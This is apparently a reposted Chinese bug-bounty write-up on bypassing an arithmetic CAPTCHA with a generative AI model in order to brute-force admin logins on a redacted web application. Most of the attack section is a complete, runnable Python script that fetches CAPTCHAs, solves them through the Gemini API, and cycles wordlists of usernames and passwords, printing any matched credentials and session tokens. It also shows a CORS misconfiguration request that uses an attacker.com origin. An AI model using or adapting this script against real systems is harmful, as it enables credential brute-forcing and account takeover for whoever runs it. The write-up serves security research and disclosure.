扫码领资料
获网安教程
来Track安全社区投稿~
赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
通过AI绕过CAPTCHA揭示了潜在的漏洞,暴露了Web安全中的关键缺陷。
大家好, 我是 ph-hitachi,一名全栈开发工程师、DevOps工程师兼安全研究员,同时拥有自动化工程与漏洞赏金自动化的经验。今年,我致力于探索新的攻击向量,重点研究如何利用现代工具与技术,以及黑客可能如何利用这些技术进行攻击与利用。
引言:
随着自动化的兴起,AI驱动的技术取得了显著进步,这些技术在网络安全中的应用也日益广泛。最近,我遇到了一种使用AI技术进行攻击而非保护系统的情况。这篇文章将详细说明如何使用AI模型,特别是生成式AI,绕过CAPTCHA防护,并接管一个Web应用程序中的账户。
什么是CAPTCHA?
CAPTCHA,全称为完全自动化公共图灵测试用于区分计算机和人类(Completely Automated Public Turing test to tell Computers and Humans Apart),是一种广泛使用的安全机制,旨在保护在线服务免受诸如暴力破解、凭据填充和机器人活动等自动化滥用行为的侵害。
通常,CAPTCHA挑战会提供一项对人类容易但对机器人困难的任务,例如识别图片中的物体、辨认扭曲的文字或解决基础数学问题。
CAPTCHA的主要功能是阻止自动化脚本或机器人执行有害操作,例如反复尝试用户名和密码组合,直到找到有效匹配。然而,CAPTCHA的防御仅在无法被绕过或自动解决时才有效。
测试概览:
我们使用了手动与自动化工具相结合的方法对平台进行了测试。测试过程包括以下步骤:
漏洞发现概述:
{BASE_URL}/admin-web/captcha/show
端点的安全性。在测试中,我发现该端点存在CORS(跨域资源共享)配置错误,允许未经授权的来源访问敏感资源,例如CAPTCHA图像。POST /admin-web/captcha/show HTTP/2
Host: [redacted].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: [redacted].com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Origin: http://attacker.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
sysId=1000
HTTP/2 200 OK
Content-Type: application/json
Date: Tue, 01 Oct 2024 01:28:11 GMT
X-Trace-Id: i100,i101001a441232779d64e6f88ea3b2040cfb43a
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: http://attacker.com
Access-Control-Expose-Headers: Set-Cookie
Access-Control-Allow-Credentials: true
X-Cache: Miss from cloudfront
{"img":"/9j/4AAQSkZJRgABAgAAAQABAAD(truncated)...","key":"code_xxxxxxxxxxx"}
{BASE_URL}/admin-web/auth/authInfo
端点进行测试,该端点负责验证用户凭据。每次登录请求都需要提供用户名、密码,以及最新的CAPTCHA解答。6+3
,解答为captchaCode
)。6 + 4
,但AI将其错误地解释为一串数字(例如"6743"
),而不是正确地解决该公式。$ convert captcha_image.png -gaussian-blur 0 -threshold 25% -paint 1 captcha_image-1.png
6 + 4
。这一步在自动化验证码解答过程中的高准确度至关重要。脚本实现概述
/admin-web/captcha/show
发送 POST 请求,以获取验证码图像(作为Base64编码的字符串)及其对应的密钥。/admin-web/auth/authInfo
,使用不同的用户名和密码组合,其中包括验证码答案(captchaCode)和验证码密钥(captchaKey,来自步骤1)。#/bin/python
import requests
import base64
from PIL import Image, ImageFilter
from io import BytesIO
import os
import re
import argparse
import time # Import time for delay
from colorama import init, Fore, Style
from tqdm import tqdm # Import tqdm for the real-time progress bar
from google.api_core.exceptions import ResourceExhausted # Import the exception
# Initialize colorama
init(autoreset=True)
# Configure API key for Google Generative AI
import google.generativeai as genai
genai.configure(api_key=os.environ['GEMINI_API_KEY'])
# Define constants
BASE_URL = "https://[REDACTED].com"
CAPTCHA_URL = f"{BASE_URL}/admin-web/captcha/show"
AUTH_URL = f"{BASE_URL}/admin-web/auth/authInfo"
SYS_ID = "1000" # System ID
RETRY_LIMIT = 5 # Set a retry limit for handling quota exhaustion
# Step 1: Send First HTTP Request to Get the Captcha
def get_captcha():
payload = {'sysId': SYS_ID}
response = requests.post(CAPTCHA_URL, headers={
'Content-Type': 'application/x-www-form-urlencoded'
}, data=payload)
if response.status_code == 200:
return response.json()
else:
raise Exception("Failed to retrieve CAPTCHA")
# Step 2: Decode the Image and Apply Gaussian blur, thresholding, and painting
def process_captcha(captcha_data):
# Decode the base64 image
image_data = base64.b64decode(captcha_data["img"])
image_pil = Image.open(BytesIO(image_data))
# Image Processing
image_blurred = image_pil.filter(ImageFilter.GaussianBlur(0)) # No blur
image_gray = image_blurred.convert("L")
threshold_value = 64
image_threshold = image_gray.point(lambda p: p > threshold_value and 255)
# Optional: Enhance and smooth the image
image_painted = image_threshold.filter(ImageFilter.EDGE_ENHANCE).filter(ImageFilter.SMOOTH)
return image_painted
# Step 3: Solve the Captcha
def solve_captcha(image, retry_count=0):
# Generate the content using the AI model
prompt = "Extract the text from this image."
model = genai.GenerativeModel(model_name="gemini-1.5-flash")
try:
response = model.generate_content([prompt, image])
# Check if the response has candidates and extract the text
if response.candidates and response.candidates[0].content.parts:
generated_text = response.candidates[0].content.parts[0].text.strip() # Extract the text
return generated_text
else:
print(f"\n{Fore.RED}Error: CAPTCHA solving was not successful for reason: {response.candidates.finish_reason}")
return None
except ResourceExhausted as e:
# Handle resource exhaustion by retrying with a delay
if retry_count < RETRY_LIMIT:
print(f"\n{Fore.RED}Quota exceeded. Retrying in 30 seconds... (Attempt {retry_count + 1}/{RETRY_LIMIT})")
time.sleep(30) # Wait for 60 seconds before retrying
return solve_captcha(image, retry_count + 1)
else:
print(f"\n{Fore.RED}Quota exhausted and retry limit reached. Exiting.")
exit(1)
except AttributeError as e:
# Handle attribute error in case of incorrect response fields
print(f"\n{Fore.RED}AttributeError: Possibly incorrect field in the response. Check for proper API handling.")
print(f"\nError details: {e}")
return None
# Evaluate a math expression
def evaluate_math_expression(expression):
try:
result = eval(expression)
return str(result)
except Exception as e:
print(f"\nError evaluating expression: {e}")
return None
# Step 4: Use a Cluster Bomb Attack with Wordlist
def brute_force_login(username, password, attempt_count, total_attempts, progress_bar):
# Get a new CAPTCHA for every login attempt
captcha_data = get_captcha()
captcha_image = process_captcha(captcha_data)
captcha_text = solve_captcha(captcha_image)
# Check if the CAPTCHA was successfully solved
if captcha_text is None:
print(f"\n{Fore.RED}Failed to solve CAPTCHA. Skipping this attempt.")
return # Skip this login attempt
# Find the math expression in the text
math_expression = re.search(r'(\d+\s*[\+\-\*\/]\s*\d+)', captcha_text)
if math_expression:
captcha_code = evaluate_math_expression(math_expression.group(0))
captcha_key = captcha_data["key"]
# Construct the payload for login attempt
payload = {
'loginName': username,
'loginPassword': password,
'sysId': SYS_ID,
'captchaCode': captcha_code,
'captchaKey': captcha_key,
'loginVersion': 'v5',
'noTgAuth': 'v1'
}
# Make the login attempt request
response = requests.post(AUTH_URL, headers={
'Content-Type': 'application/x-www-form-urlencoded'
}, data=payload)
response_json = response.json()
# Only print success messages (when the response content is greater than 2000 bytes)
if len(response.content) > 2000: # Check if response size is greater than 2000 bytes
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.GREEN + f"TraceID: {Fore.YELLOW}{response_json.get('traceId', 'N/A')}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.GREEN + "Credentials match:")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"Username: {Fore.GREEN}{username}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"Password: {Fore.GREEN}{password}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"Captcha Content: {Fore.GREEN}{math_expression.group(0)}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"Captcha Code: {Fore.GREEN}{captcha_code}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"Captcha Key: {Fore.GREEN}{captcha_key}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.GREEN + "User Information:")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"Merchant ID: {Fore.GREEN}{response_json['data'].get('merId', 'N/A')}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"User Name: {Fore.GREEN}{response_json['data'].get('loginName', 'N/A')}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"User ID: {Fore.GREEN}{response_json['data'].get('userId', 'N/A')}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"Role ID: {Fore.GREEN}{response_json['data'].get('roleId', 'N/A')}")
tqdm.write(Fore.BLUE + f"[{Fore.CYAN}+{Fore.BLUE}] " + Fore.YELLOW + f"X-Token: {Fore.GREEN}{response_json['data'].get('token', 'N/A')}")
return response_json
# Update progress bar for failed attempts (without printing the failure message)
progress_bar.update(1)
# Introduce delay between each brute force attempt to avoid overloading the API
# time.sleep(REQUEST_DELAY)
# Load usernames or passwords from a file
def load_wordlist(file_path):
with open(file_path, 'r') as file:
return [line.strip() for line in file.readlines()]
# Main execution
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Brute force login script with CAPTCHA solving.')
parser.add_argument('--username', required=True, help='Path to the file containing usernames (one per line) or a single username string.')
parser.add_argument('--password', required=True, help='Path to the file containing passwords (one per line) or a single password string.')
args = parser.parse_args()
# Load username and password wordlists or single strings
username_list = load_wordlist(args.username) if os.path.isfile(args.username) else [args.username]
password_list = load_wordlist(args.password) if os.path.isfile(args.password) else [args.password]
total_attempts = len(username_list) * len(password_list)
attempt_count = 0
# Initialize progress bar
with tqdm(total=total_attempts, desc="Brute Force Attack", ncols=100, ascii=True, colour="yellow") as progress_bar:
# Perform brute-force login attempts
for username in username_list:
for password in password_list:
brute_force_login(username, password, attempt_count, total_attempts, progress_bar)
attempt_count += 1
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
如果你是一个网络安全爱好者,欢迎加入我的知识星球:zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前沿漏洞,每周安全面试经验、SRC实战纪实等文章分享,微信识别二维码,即可加入。